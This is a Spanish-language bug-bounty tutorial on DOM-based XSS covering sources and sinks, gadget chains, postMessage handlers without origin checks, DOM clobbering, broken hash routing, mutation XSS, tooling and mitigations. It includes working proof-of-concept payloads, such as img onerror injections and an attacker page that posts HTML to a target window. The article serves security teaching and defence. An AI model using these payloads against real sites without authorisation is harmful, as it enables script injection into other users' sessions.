Nivel AvanzadoGratis

DOM XSS — gadgets, postMessage handlers y CVE-2025-59840

DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.

Gorka El Bochi9 de mayo de 202613 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

DOM XSS ocurre cuando datos controlados por el atacante (location.hash, postMessage data, URL params) llegan a sinks peligrosos sin sanitización (innerHTML, eval, document.write, location.href). En 2025-2026 los vectores más rentables son gadgets en libraries populares (lodash, jQuery, helpers internos), postMessage handlers sin validar origin, y client-side routing roto que mete user input en eval.


Sources y sinks (refresher)

Sources — donde entra el atacante:

javascript
location.href, location.hash, location.search, location.pathname
document.URL, document.documentURI
document.referrer
document.cookie
window.name
postMessage e.data
localStorage / sessionStorage (si poblado por otro origin via XSS previo)
WebSockets messages

Sinks — donde se ejecuta:

javascript
// HTML rendering
element.innerHTML = userInput
element.outerHTML = userInput
document.write(userInput)
document.writeln(userInput)

// Code execution
eval(userInput)
Function(userInput)
setTimeout(userInput, 100)
setInterval(userInput, 100)

// URL navigation (XSS via javascript:)
location.href = userInput
location.assign(userInput)
location.replace(userInput)
window.open(userInput)

// Attribute setting (depending on element)
element.setAttribute('href', userInput)
element.src = userInput

DOM XSS clásico

javascript
// Source: location.hash
const param = location.hash.substring(1);
// Sink: innerHTML
document.getElementById('content').innerHTML = param;

Payload: https://target.tld/page#<img src=x onerror=alert(1)>.


Gadget chains modernos

A veces el flow no es directo. El input pasa por funciones del codebase que transforman pero no sanitizan:

javascript
const data = JSON.parse(decodeURIComponent(location.hash.substring(1)));
const html = renderTemplate(data);  // template usa data.title sin escape
contentEl.innerHTML = html;

El payload necesita ser JSON válido + tener title con HTML.

CVE-2025-59840 — toString gadget en jQuery (ejemplo conceptual)

Algunas libs aplican String(input) o input.toString() sin escapar. Si input es un objeto con toString custom:

javascript
const payload = {
  toString() { return "<img src=x onerror=alert(1)>"; }
};
$('#div').html(payload);  // jQuery hace String(payload) → invoca toString → XSS

Útil cuando el sink valida tipo string pero acepta cualquier cosa stringificable.


postMessage XSS

Cuando un listener procesa e.data sin validar e.origin:

javascript
window.addEventListener('message', e => {
  // ❌ NO valida e.origin
  document.getElementById(e.data.target).innerHTML = e.data.html;
});

PoC del atacante:

javascript
// Página atacante
const win = window.open('https://target.tld/');
setTimeout(() => {
  win.postMessage({
    target: 'main-content',
    html: '<img src=x onerror=alert(document.domain)>'
  }, '*');
}, 2000);

Variante: si target acepta postMessage solo de mismo origin pero hay un iframe legítimo (CDN, embed), el atacante mete su iframe que apunta al CDN whitelisted con HTML controlado.

Ver el caso real "Zero-Click Message Injection via postMessage" en la Academy.


DOM Clobbering

HTML elements con id o name se acceden via window.<id> y document.<name>. Si un script hace:

javascript
const config = window.config || { strict: true };

Y la página tiene un <form id="config"> controlado por el atacante (ej. via Stored HTML injection en comentario), window.config apunta al form HTMLElement, no al objeto esperado.

html
<form id="config" name="strict"></form>
<input name="strict">  <!-- now window.config.strict es el input element -->

Consecuencia: lógica del JS rota → bypass de checks ("if config.strict do...").


Hash routing rotos

Apps SPA con routing client-side. Si el route handler hace:

javascript
const route = location.hash.substring(1).split('/');
const handler = routes[route[0]];
handler(route[1]);  // route[1] es atacante-controlled

Si algún handler mete route[1] en innerHTML, eval o document.write → XSS.

Patrón frecuente: paths que aceptan parámetros usados en strings de error verbose:

ini
/profile/<user_id>     →  document.title = "Profile of " + userId
                       →  Si userId tiene HTML y title se renderiza en algún DOM, XSS

Mutation XSS (mXSS)

El parser HTML del browser muta el HTML al insertarlo. Si la sanitización ocurre antes de la inserción y el browser muta el HTML al insertarlo, el resultado puede ser un XSS.

javascript
const sanitized = DOMPurify.sanitize(input);  // input limpio
element.innerHTML = sanitized;
// Pero al insertarlo en context noscript/style/template, el browser parsea diferente

Vectores frecuentes: SVG con namespace mishandling, MathML, comments con caracteres especiales. Ver artículo dedicado a Mutation XSS.


Tooling

Burp DOM Invader

Built-in en Burp Pro. Inyecta canary en sources del DOM y rastrea hasta sinks. Detecta gadget chains automáticamente.

Static analysis

Para JS bundle:

bash
# Buscar sinks peligrosos en código minificado
curl https://target.tld/main.abc123.js | grep -E '(innerHTML|outerHTML|document\.write|eval\(|Function\()' -n

Manual code review del bundle revela patrones específicos del codebase.

Dynamic testing

javascript
// Inyectar canary en cada source y verificar
location.hash = 'CANARY_HASH';
window.name = 'CANARY_NAME';
document.cookie = 'test=CANARY_COOKIE';
postMessage('CANARY_PM', '*');

// Buscar CANARY en innerHTML, eval, etc.

Hunting checklist

  • ¿La app es SPA con routing client-side? Probar payloads en cada path segment.
  • ¿Hay location.hash parseado y usado en innerHTML/eval?
  • ¿postMessage listeners sin e.origin check?
  • ¿Window.name accesible cross-frame y usado dentro?
  • ¿document.cookie parseado y reflejado en DOM?
  • ¿Static review del bundle en busca de innerHTML, eval, document.write?
  • ¿Hay templates client-side (Handlebars, Mustache, Lodash) con input sin escape?
  • ¿postMessage usa targetOrigin: "*" desde el iframe?
  • ¿Errores en consola que revelan estructura del estado (gadgets potenciales)?

Mitigación correcta

  1. Tratar todas las sources como user input. Sanitizar siempre antes de sink.
  2. Validar e.origin en cada postMessage handler. Allowlist explícita.
  3. Usar textContent no innerHTML salvo que necesites HTML.
  4. DOMPurify correcta (no listas custom de allowed tags sin entender mXSS).
  5. CSP estricta: script-src 'self', script-src-elem, script-src-attr para bloquear inline.
  6. Trusted Types API en navegadores modernos — fuerza sanitización tipada.

Labs relacionados

Practica gadget chains, postMessage XSS, DOM clobbering y mXSS en apps reales: labs de DOM XSS.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Dom Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.